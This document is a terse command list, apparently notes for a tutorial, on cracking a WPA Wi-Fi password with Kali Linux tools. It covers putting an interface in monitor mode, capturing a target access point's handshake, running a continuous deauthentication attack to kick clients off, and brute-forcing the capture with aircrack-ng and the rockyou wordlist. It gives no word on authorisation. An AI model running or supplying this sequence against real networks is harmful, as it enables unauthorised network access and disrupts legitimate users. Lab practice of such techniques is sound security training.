================

Commands used:

================

! See version of Kali

cat /etc/os-release

uname -a

! See interfaces

ip addr

iwconfig

!kill processes

sudo airmon-ng check kill

!Start monitor mode

sudo airmon-ng start wlan0

!Verify that monitor mode is used

sudo airmon-ng

!You could also use iwconfig to check that interface is in monitor mode:

iwconfig

! Get the AP's MAC address and channel

sudo airodump-ng wlan0mon

! AP-MAC & channel - you need to select your own here:

ESSID: 90:9A:4A:B8:F3:FB

Channel used by AP for SSID: 2

!1st Window:

!Make sure you replace the channel number and bssid with your own

!Replace hack1 with your file name like capture1 or something

sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon

!2nd Window - deauth attack

!Make sure you replace the bssid with your own

sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

!Use Wireshark to open hack file

wireshark hack1-01.cap

!Filter Wireshark messages for EAPOL

eapol

!Stop monitor mode

airmon-ng stop wlan0mon

!Crack file with Rock you or another wordlist

!Make sure you have rockyou in text format (unzip file on Kali)

!Replace hack1-01.cap with your file name

aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt
